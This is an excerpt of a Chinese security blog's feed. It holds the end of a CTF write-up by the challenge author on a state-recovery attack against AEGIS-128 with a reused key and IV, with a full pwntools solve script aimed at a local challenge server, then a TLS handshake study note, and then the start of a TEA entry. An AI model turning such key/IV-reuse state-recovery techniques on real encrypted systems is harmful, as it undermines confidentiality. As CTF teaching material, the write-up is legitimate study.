class="keyword">if</span> <span class="built_in">len</span>(blk) &lt; <span class="number">16</span>:</span><br><span class="line">        mask = mask[:<span class="built_in">len</span>(blk)]</span><br><span class="line">        p = blk + <span class="built_in">bytes</span>(<span class="number">16</span> - <span class="built_in">len</span>(blk))</span><br><span class="line">      <span class="keyword">else</span>:</span><br><span class="line">        p = blk</span><br><span class="line">      ct_blocks.append(_xor(mask, blk))</span><br><span class="line">      S = Aegis128.state_update(S, p)</span><br><span class="line">    <span class="keyword">return</span> S, <span class="string">b&#x27;&#x27;</span>.join(ct_blocks)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">encrypt</span>(<span class="params">self, iv, ad, msg</span>):</span><br><span class="line">    S = self.initialize(iv)</span><br><span class="line">    S = self.update_aad(S, ad)</span><br><span class="line">    S, ct = self.raw_encrypt(S, msg)</span><br><span class="line">    tag = self.finalize(S, <span class="built_in">len</span>(ad) * <span class="number">8</span>, <span class="built_in">len</span>(msg) * <span class="number">8</span>)</span><br><span class="line">    <span class="keyword">return</span> ct, tag</span><br></pre></td></tr></table></figure><h3 id="ageis的漏洞点">Ageis的漏洞点</h3><p>加密流程中，IV和key都不会更新，并且加密7次。最终目的是让我们求出当使用了空的aad进行了StateUpdate状态后得到的初始状态，也就是状态<code>S[1]</code>。<br>这一类IV、key不发生变化的题目，其实传达的一个含义就是<strong>加密算法本身是不变的，即是说对于加密算法<code>C = F(m)</code>，这个F是不变量，而此时的m和C都是已知的，就有机会构造合适的m，从而泄露F中的一些信息</strong></p><h4 id="第一步泄露">第一步泄露</h4><p>这里重新展示一下之前用来描述加密的那张图，这里我们着重关注的是变化值:</p><p><img src="/2020/11/29/Taihu-Aegis-Writeup/stf-no-param.png" alt=""></p><p>可以看到，当<code>p[0][0]</code>变化的时候，<code>s[1][0], s[2][0], s[2][1], k[2]</code>均会收到影响。这里我们复习一下这几个值的关系:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">（1）k[2] = (S[2][2] &amp; S[2][3]) ^ S[2][1] ^ S[2][4] ^ p[2][0]</span><br><span class="line">（2）k[1] = (S[1][2] &amp; S[1][3]) ^ S[1][1] ^ S[1][4] ^ p[1][0]</span><br><span class="line">（3）S[2][0] = AESRound(S[1][4])^S[1][0]^p[1][0]</span><br><span class="line">（4）S[1][0] = AESRound(S[0][4])^S[0][0]^p[0][0]</span><br></pre></td></tr></table></figure><ul><li>由于（2）我们可以知道，<code>S[1][0]</code>并不参与到整个加密过程中，所以不会对加密本身有影响，因此<code>k[1]</code>的值不发生变化</li><li>此时生成的密文<code>kd[2]</code>虽然发生了变化，但是其变化<strong>仅仅是因为<code>S[2][1]</code>发生了变化</strong>，因为在StateUpdate中，只有<code>S[2][1]</code>会受到输入的影响，其他的状态并不收到当前的输入状态影响:</li></ul><p>这里我们将变化后的p写作<code>dp</code>，并且满足<code>dtp = dp^p</code>，发生了相应变化的变量都加上<code>d</code>的前缀，于是此时有：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kd[2] ^ k[2] = S[2][1] ^ Sd[2][1] = AESRound(S[1][0])^AESRound(Sd[1][0])</span><br></pre></td></tr></table></figure><p>此时我们的<code>kd[2] ^ k[2]</code>是已知量。而我们此时知道</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">（5）AESRound(S[1][0])^AESRound(Sd[1][0]) = Sbox(S[1][0])^Sbox(Sd[1][0])</span><br><span class="line">（6）S[1][0] = AES(S[0][4]) ^ S[0][0] ^ p[0][0]</span><br></pre></td></tr></table></figure><p>由于（6）中，<code>S[0][0], S[0][4]</code>在IV和key不变的情况下，即使我们更改p也不会发生变化，所以实际上可以推出</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">（7）Sd[1][0]^S[1][0] = p[0][0]^dp[0][0] = dtp[0][0]</span><br><span class="line">====&gt; Sd[1][0] = S[1][0] ^ dtp[0][0]</span><br></pre></td></tr></table></figure><p>于是我们可以将（5）推到成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">（8）Sbox(S[1][0])^Sbox(Sd[1][0]) = Sbox(S[1][0])^Sbox(S[1][0]^dpt[0][0]) = kd[2]^k[2]</span><br></pre></td></tr></table></figure><p>在（8）这个算式中，<code>dpt，kd，k</code>三个值我们都知道，于是我们只需要爆破<code>S[1][0]</code>中的16字节即可。<br>不过经过测试，直接爆破是存在多解的情况，所以我们可以<strong>增加一个变化，也就是dpt2，两次的结果综合考虑</strong>。经过测试，这种方式能够得到唯一的<code>S[1][0]</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">resolve</span>(<span class="params">dk_1, ds_1, dk_2, ds_2</span>):</span><br><span class="line">    <span class="comment"># here we check the </span></span><br><span class="line">    tmpk = aes.bytes2matrix(dk_1)</span><br><span class="line">    aes.inv_mix_columns(tmpk)</span><br><span class="line">    aes.inv_shift_rows(tmpk)</span><br><span class="line">    d_k1 = aes.matrix2bytes(tmpk)</span><br><span class="line"></span><br><span class="line">    tmpk = aes.bytes2matrix(dk_2)</span><br><span class="line">    aes.inv_mix_columns(tmpk)</span><br><span class="line">    aes.inv_shift_rows(tmpk)</span><br><span class="line">    d_k2 = aes.matrix2bytes(tmpk)</span><br><span class="line">    <span class="comment"># result should be unique</span></span><br><span class="line">    res = <span class="built_in">bytearray</span>(<span class="number">16</span>)</span><br><span class="line">    <span class="comment"># try to bruce it</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>):</span><br><span class="line">        x1 = <span class="built_in">set</span>()</span><br><span class="line">        <span class="keyword">for</span> c <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>):</span><br><span class="line">            <span class="keyword">if</span> aes.s_box[c] ^ aes.s_box[c^ds_1[i]] == d_k1[i] <span class="keyword">and</span> aes.s_box[c] ^ aes.s_box[c^ds_2[i]] == d_k2[i]:</span><br><span class="line">                x1.add(c)</span><br><span class="line">        res[i] = x1.pop()</span><br><span class="line">    <span class="keyword">assert</span>(<span class="built_in">len</span>(res) == <span class="number">16</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(res)</span><br></pre></td></tr></table></figure><h4 id="进一步泄露">进一步泄露</h4><p>由于我们有7次通信机会，目前可以如下安排</p><ul><li>第一次：我们一口气通信获得<code>k[0],k[1],k[2],k[3],k[4]</code>，此时我们可以将<code>p</code>设置为全0，这样的话能够帮助我们之后更加方便的进行计算</li><li>第二、三次： 得到<code>S[1][0]</code></li><li>第四、五次： 得到<code>S[2][0]</code></li><li>第六、七次： 得到<code>S[3][0]</code></li></ul><p>我们可以如法炮制，通过修改<code>p[1][0],p[2][0]</code>，得到<code>S[2][0],S[3][0]</code>。此时我们有公式:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">（3）S[2][0] = AESRound(S[1][4])^S[1][0]^p[1][0] ==&gt; 直接逆运算，可得S[1][4]</span><br><span class="line">（9）S[3][0] = AESRound(S[2][4])^S[2][0]^p[2][0] ==&gt; 利用之前的技巧，可得S[2][4]</span><br><span class="line">（10）S[2][4] = AESRound(S[1][3])^S[1][4] ==&gt; 直接逆运算，可得S[1][3]</span><br></pre></td></tr></table></figure><p>此时我们就有了<code>S[1][0], S[1][3], S[1][4]</code>，并且题目中泄露了<code>S[1][2]</code>，所以我们最终利用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">（11）C[1] = (S[2][0] &amp; S[3][0]) ^ S[1][0] ^ S[4][0] ^ pt[0]</span><br></pre></td></tr></table></figure><p>就能得到最后的<code>S[1][1]</code>，此时整个题泄露完成。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> aes</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> aegis</span><br><span class="line"><span class="keyword">from</span> aegis <span class="keyword">import</span> _xor,_<span class="keyword">and</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">R</span>(<span class="params">x</span>):</span><br><span class="line">    tmp = aes.bytes2matrix(x)</span><br><span class="line">    aes.sub_bytes(tmp)</span><br><span class="line">    aes.shift_rows(tmp)</span><br><span class="line">    aes.mix_columns(tmp)</span><br><span class="line">    <span class="keyword">return</span> aes.matrix2bytes(tmp)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">invR</span>(<span class="params">x3</span>):</span><br><span class="line">    tmp = aes.bytes2matrix(x3)</span><br><span class="line">    aes.inv_mix_columns(tmp)</span><br><span class="line">    aes.inv_shift_rows(tmp)</span><br><span class="line">    aes.inv_sub_bytes(tmp)</span><br><span class="line">    <span class="keyword">return</span> aes.matrix2bytes(tmp)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">resolve</span>(<span class="params">dk_1, ds_1, dk_2, ds_2</span>):</span><br><span class="line">    <span class="comment"># here we check the </span></span><br><span class="line">    tmpk = aes.bytes2matrix(dk_1)</span><br><span class="line">    aes.inv_mix_columns(tmpk)</span><br><span class="line">    aes.inv_shift_rows(tmpk)</span><br><span class="line">    d_k1 = aes.matrix2bytes(tmpk)</span><br><span class="line"></span><br><span class="line">    tmpk = aes.bytes2matrix(dk_2)</span><br><span class="line">    aes.inv_mix_columns(tmpk)</span><br><span class="line">    aes.inv_shift_rows(tmpk)</span><br><span class="line">    d_k2 = aes.matrix2bytes(tmpk)</span><br><span class="line">    <span class="comment"># result should be unique</span></span><br><span class="line">    res = <span class="built_in">bytearray</span>(<span class="number">16</span>)</span><br><span class="line">    <span class="comment"># try to bruce it</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>):</span><br><span class="line">        x1 = <span class="built_in">set</span>()</span><br><span class="line">        <span class="keyword">for</span> c <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>):</span><br><span class="line">            <span class="keyword">if</span> aes.s_box[c] ^ aes.s_box[c^ds_1[i]] == d_k1[i] <span class="keyword">and</span> aes.s_box[c] ^ aes.s_box[c^ds_2[i]] == d_k2[i]:</span><br><span class="line">                x1.add(c)</span><br><span class="line">        res[i] = x1.pop()</span><br><span class="line">    <span class="keyword">assert</span>(<span class="built_in">len</span>(res) == <span class="number">16</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(res)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">encrypt</span>(<span class="params">ph, aad, pt</span>):</span><br><span class="line">    ph.sendline(base64.standard_b64encode(pt))</span><br><span class="line">    ph.sendline(base64.standard_b64encode(aad))</span><br><span class="line">    ct = ph.recvline(keepends=<span class="literal">False</span>)</span><br><span class="line">    ct = base64.standard_b64decode(ct.decode(<span class="string">&#x27;utf-8&#x27;</span>))</span><br><span class="line">    tag = ph.recvline(keepends=<span class="literal">False</span>)</span><br><span class="line">    tag = base64.standard_b64decode(tag.decode(<span class="string">&#x27;utf-8&#x27;</span>))</span><br><span class="line">    <span class="keyword">return</span> ct, tag</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt</span>(<span class="params">ph, aad, pt, index, ct</span>):</span><br><span class="line">    left_index = (index+<span class="number">1</span>)*<span class="number">16</span></span><br><span class="line">    right_index = (index+<span class="number">2</span>)*<span class="number">16</span></span><br><span class="line">    enc, tag = encrypt(ph, aad, pt[<span class="number">2</span>*index-<span class="number">1</span>])</span><br><span class="line">    <span class="comment"># print(&quot;enc[&#123;&#125;:&#123;&#125;]&quot;.format(left_index/32,right_index/32))</span></span><br><span class="line">    <span class="comment"># print(&quot;pt[&#123;&#125;:&#123;&#125;]&quot;.format(2*index-1, 2*index))</span></span><br><span class="line">    ct1_2 = enc[left_index:right_index]</span><br><span class="line">    <span class="comment"># encrypt 3</span></span><br><span class="line">    enc, tag = encrypt(ph, aad, pt[<span class="number">2</span>*index])</span><br><span class="line">    <span class="comment"># print(pt[2*index])</span></span><br><span class="line">    ct1_3 = enc[left_index:right_index]</span><br><span class="line">    <span class="comment"># decrypt s10</span></span><br><span class="line">    <span class="comment"># print(ct)</span></span><br><span class="line">    <span class="comment"># print(ct1_2)</span></span><br><span class="line">    <span class="comment"># print(ct)</span></span><br><span class="line">    <span class="comment"># print(ct1_2)</span></span><br><span class="line">    dk1 = _xor(ct,ct1_2)</span><br><span class="line">    dk2 = _xor(ct,ct1_3)</span><br><span class="line">    <span class="comment"># split S1/S5</span></span><br><span class="line">    <span class="comment"># pt split ,too</span></span><br><span class="line">    s = resolve(dk1, pt[<span class="number">2</span>*index-<span class="number">1</span>][<span class="number">16</span>*(index-<span class="number">1</span>):<span class="number">16</span>*(index)], </span><br><span class="line">                dk2, pt[<span class="number">2</span>*index][<span class="number">16</span>*(index-<span class="number">1</span>):<span class="number">16</span>*(index)])</span><br><span class="line">    <span class="keyword">return</span> s</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">localTest</span>():</span><br><span class="line">    ph = remote(<span class="string">&quot;127.0.0.1&quot;</span>,<span class="string">&#x27;10090&#x27;</span>)</span><br><span class="line">    pt = []</span><br><span class="line">    padding = <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">16</span></span><br><span class="line">    p0 = <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">16</span></span><br><span class="line">    p1 = <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">16</span></span><br><span class="line">    p2 = <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">16</span></span><br><span class="line">    pt.append(p0+p1+p2+padding*<span class="number">2</span>)</span><br><span class="line">    <span class="comment"># for i in range(1,7):</span></span><br><span class="line">    <span class="comment"># pt.append(bytes([i%2+1]*16)+padding)</span></span><br><span class="line">    <span class="comment"># for s10</span></span><br><span class="line">    pt.append(<span class="built_in">bytes</span>([<span class="number">1</span>]*<span class="number">16</span>)+padding+padding)</span><br><span class="line">    pt.append(<span class="built_in">bytes</span>([<span class="number">2</span>]*<span class="number">16</span>)+padding+padding)</span><br><span class="line">    <span class="comment"># for s20</span></span><br><span class="line">    pt.append(padding+<span class="built_in">bytes</span>([<span class="number">1</span>]*<span class="number">16</span>)+padding+padding)</span><br><span class="line">    pt.append(padding+<span class="built_in">bytes</span>([<span class="number">2</span>]*<span class="number">16</span>)+padding+padding)</span><br><span class="line">    <span class="comment"># for s30</span></span><br><span class="line">    pt.append(padding+padding+<span class="built_in">bytes</span>([<span class="number">1</span>]*<span class="number">16</span>)+padding*<span class="number">2</span>)</span><br><span class="line">    pt.append(padding+padding+<span class="built_in">bytes</span>([<span class="number">2</span>]*<span class="number">16</span>)+padding*<span class="number">2</span>)</span><br><span class="line">    iv = ph.recvline(keepends=<span class="literal">False</span>)</span><br><span class="line">    aad = <span class="string">b&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># encrypt 1</span></span><br><span class="line">    enc, tag = encrypt(ph, aad, pt[<span class="number">0</span>])</span><br><span class="line">    <span class="built_in">print</span>(enc)</span><br><span class="line">    ct = []</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">5</span>):</span><br><span class="line">        ct.append(enc[i*<span class="number">16</span>:(i+<span class="number">1</span>)*<span class="number">16</span>])</span><br><span class="line">    </span><br><span class="line">    s10 = decrypt(ph, aad, pt, <span class="number">1</span>, ct[<span class="number">2</span>])</span><br><span class="line">    <span class="comment"># decrypt 2 </span></span><br><span class="line">    s20 = decrypt(ph, aad, pt, <span class="number">2</span>, ct[<span class="number">3</span>])</span><br><span class="line">    <span class="comment"># decrypt 3</span></span><br><span class="line">    s30 = decrypt(ph, aad, pt, <span class="number">3</span>, ct[<span class="number">4</span>])</span><br><span class="line">    <span class="comment"># s20 = s10 xor R(s14) ==&gt; s14 = invR(s20 xor s10)</span></span><br><span class="line">    s14 = invR(_xor(s20, s10))</span><br><span class="line">    <span class="comment"># s30 = s20 xor R(s24) ==&gt; s24 = invR(s20 xor s30)</span></span><br><span class="line">    <span class="comment"># s24 = s14 xor R(s13) ==&gt; s13 = invR(s14 xor s24)</span></span><br><span class="line">    s24 = invR(_xor(s20, s30))</span><br><span class="line">    s13 = invR(_xor(s24, s14))</span><br><span class="line">    ph.recvuntil(<span class="string">&quot;Oops, something leak:&quot;</span>)</span><br><span class="line">    s12 = ph.recvline(keepends=<span class="literal">False</span>)</span><br><span class="line">    <span class="built_in">print</span>(s12)</span><br><span class="line">    s12 = base64.standard_b64decode(s12.decode(<span class="string">&#x27;utf-8&#x27;</span>))</span><br><span class="line">    <span class="comment"># if pt = 00 then enc1 = (s12&amp;s13) xor s14 xor s11</span></span><br><span class="line">    <span class="comment"># -&gt; s11 = enc1 xor s14 xor (s12&amp;s13)</span></span><br><span class="line">    enc1 = enc[<span class="number">16</span>:<span class="number">16</span>*<span class="number">2</span>]</span><br><span class="line">    s11 = _xor(s14, _xor(enc1, _<span class="keyword">and</span>(s12, s13)))</span><br><span class="line">    <span class="comment"># s15 = _xor(s12, _xor(enc12, _and(s16, s17)))</span></span><br><span class="line">    s1 = s10+s11+s12+s13+s14</span><br><span class="line">    ph.sendline(base64.standard_b64encode(s1))</span><br><span class="line">    ph.interactive()</span><br><span class="line">    </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    localTest()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="总结">总结</h2><p>总的来说，这次出题经历逼迫自己成功学习了密码学的技巧，感觉还是有收获的。最后也是自己逼着自己总结了一份官方wp，估计等官方博客的travis修好了就能部署好了吧（？）。回顾今年，似乎做了不少密码学的题目，甚至还分析了一个相关的CVE，感觉慢慢也是点开了一个新的技能树呢。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;第一次出密码学的题目，为了出题特地去做了googlectf 2020的密码学，结果找到一个叫做aegis的加密协议，觉得很适合做题目，于是就有了下面这个题目~&lt;br&gt;
本文首发于安全客&lt;a href=&quot;https://www.anquanke.com/post/id/222629&quot;&gt;https://www.anquanke.com/post/id/222629&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="Crypto" scheme="https://showlinkroom.me/categories/Crypto/"/>
    
    
    <category term="CTF" scheme="https://showlinkroom.me/tags/CTF/"/>
    
    <category term="Aegis" scheme="https://showlinkroom.me/tags/Aegis/"/>
    
  </entry>
  
  <entry>
    <title>TLS/SSL 握手协议学习</title>
    <link href="https://showlinkroom.me/2020/11/26/HTTPS%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/"/>
    <id>https://showlinkroom.me/2020/11/26/HTTPS%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/</id>
    <published>2020-11-26T14:58:24.000Z</published>
    <updated>2020-11-26T16:28:51.370Z</updated>
    
    <content type="html"><![CDATA[<p>最近必须要了解一下https通信过程中，tls握手到底是怎么样的，这里记录一下学习过程</p><span id="more"></span><h2 id="tls-ssl握手">TLS/SSL握手</h2><h2 id="简介">简介</h2><p>自从进入了https时代，网络通信终于也不用再裸奔了。实现这一切的就是TLS协议，TLS(Transport Layer Security)以及老版本SSL(Secure Sockets Layer)，是一个<strong>应用层的协议</strong>，这个协议会帮助通信的双方进行一次<strong>密钥协商</strong>，并且对之后的通信内容进行加密。这个协议广泛的应用于各种应用上，包括web浏览器，邮件，各类即时通讯等。TLS保护的是<strong>服务器与客户端通信过程中的流量</strong>。</p><h3 id="协议过程">协议过程</h3><p>TLS协议的主要目标是在两个通信应用程序之间提供隐私和数据完整性。该协议由两层组成：<strong>TLS记录协议 Record Protocol</strong>和<strong>TLS握手协议 Handshake Protocol</strong>。 <strong>TLS记录协议位于最底层</strong>，位于某些可靠的传输协议（例如TCP ）之上。 TLS记录协议提供了具有两个基本属性的连接安全性：</p><ul><li>连接是私有的（private）。 对称加密用于数据加密（例如AES，RC4等）。 此对称加密的密钥是为每个连接唯一生成的，并且基于由另一个协议（例如TLS握手协议）协商的机密。 记录协议也可以不加密使用。</li><li>链接是可依靠的（reliable）。消息传输包括使用密钥MAC的消息完整性检查。例如SHA1之类的哈希函数用于MAC的计算。记录协议可以在没有MAC的情况下运行，但是通常仅在该模式下使用，而另一协议使用记录协议作为协商安全参数的传输方式。</li></ul><p>TLS记录协议用于封装各种更高级别的协议。 TLS握手协议就是这样一种这样的封装协议，允许服务器和客户端进行身份验证，并在应用协议发送或接收其第一字节数据之前协商加密算法和加密密钥。 TLS握手协议提供具有三个基本属性的连接安全性：</p><ul><li>可以使用非对称身份验证对等方的身份，或者使用公钥算法来验证。验证过程实际上是可u俺的，但是一般情况下至少有一方会被要求验证（一般是验证服务器）</li><li>共享密钥的协商是安全的：协商者通常无法获得协商的密钥（某些情况下除外），并且在加密的各条链接上都是无法获取的。甚至于说攻击者如果将自己放入协商后的连接中，依然也不可获取密钥</li><li>协商是可依靠的：没有一个攻击者可以不被感知的修改协商的内容</li></ul><p>TLS的一个优点是它与应用程序协议无关。高层协议可以透明地在TLS协议之上分层。 但是，TLS标准未指定协议如何通过TLS添加安全性； 有关如何启动TLS握手以及如何解释交换的认证证书的决定，由运行在TLS之上的协议的设计者和实现者来决定。</p><h3 id="tls目标">TLS目标</h3><p>TLS协议的目标按优先级顺序如下：</p><ul><li>1.加密安全性：应该使用TLS在两方之间建立安全连接。</li><li>2.互操作性：独立的程序员应该能够使用TLS开发应用程序，这些应用程序可以成功交换密码参数而无需了解彼此的代码。</li><li>3.可扩展性：TLS寻求提供一个框架，可以在必要时将新的公共密钥和批量加密方法并入其中。这还将实现两个子目标：避免创建新协议的需要（并冒引入可能的新弱点的风险），以及避免实现整个新的安全性库的需要。</li><li>4.相对效率：加密操作通常会占用大量CPU资源，尤其是公钥操作。因此，TLS协议已合并了可选的会话缓存方案，以减少需要从头开始建立的连接数。此外，已采取措施减少网络活动。</li></ul><h3 id="一些细节">一些细节</h3><ul><li>在流数据中，大部分的数据都是大端的</li><li>可选的数据用<code>[[]]</code>双中括号括起来</li><li>如果有未解释的单字节对象，定义为不透明类型(opaque)</li></ul><p>在这篇文档中，我们将一些具有类似含义的数据流定义为向量（也就是通常意义上的数组）。这些向量的大小通常以如下的形式声明:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">T T&#x27;[n]</span><br></pre></td></tr></table></figure><p>这里我们定义了一个T类型的向量T’，T’总共占了n个字节</p><p>在之后的文章中我们协定，当定义数据的时候，那个数组的大小定义的实际上是<strong>bytes的数量，而非元素的个数，这点和通常的C语言定义不同</strong>，例如：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">opaque Datum[<span class="number">3</span>];      <span class="comment">/* three uninterpreted bytes */</span></span><br><span class="line">Datum Data[<span class="number">9</span>];        <span class="comment">/* 3 consecutive 3 byte vectors */</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>如上，Datum占用了三个字节，并且这里协议并未解释其作用，这边的Data总共占用了9个字节，实际上是三个Datum数据。</p><p>可变长度向量是通过指定有效长度的子范围（包括端值）来定义的，包括符号<code>&lt;floor..ceiling&gt;</code>。 对它们进行编码时，实际长度在字节流中位于矢量内容之前。 该长度将采用数字形式，该数字消耗保持矢量指定的最大（上限）长度所需的字节数。 实际长度字段为零的可变长度向量称为空向量。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">T T&#x27;&lt;floor..ceiling&gt;;</span><br></pre></td></tr></table></figure><p>在下面的示例中，mandatory是一个向量，必须包含300到400个不透明类型的字节。 它永远不能为空。实际长度字段消耗两个字节uint16，这足以表示值400（请参见第4.4节）。 另一方面，更长的时间可以表示最多800个字节的数据或400个uint16元素，并且它可能为空。 它的编码将包括在向量之前的两字节实际长度字段。 编码向量的长度必须是单个元素长度的偶数倍（例如，uint16的17字节向量是非法的）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">opaque mandatory&lt;300..400&gt;;</span><br><span class="line">      /* length field is 2 bytes, cannot be empty */</span><br><span class="line">uint16 longer&lt;0..800&gt;;</span><br><span class="line">      /* zero to 400 16-bit unsigned integers */</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近必须要了解一下https通信过程中，tls握手到底是怎么样的，这里记录一下学习过程&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://showlinkroom.me/categories/Web/"/>
    
    
    <category term="tls" scheme="https://showlinkroom.me/tags/tls/"/>
    
  </entry>
  
  <entry>
    <title>TEA-Family</title>
    <link href="https://showlinkroom.me/2020/11/15/TEA-Family/"/>
    <id>https://showlinkroom.me/2020/11/15/TEA-Family/</id>
    <published>2020-11-15T02:09:25.000Z</published>
    <updated>2021-04-24T07:13:19.946Z</updated>
    
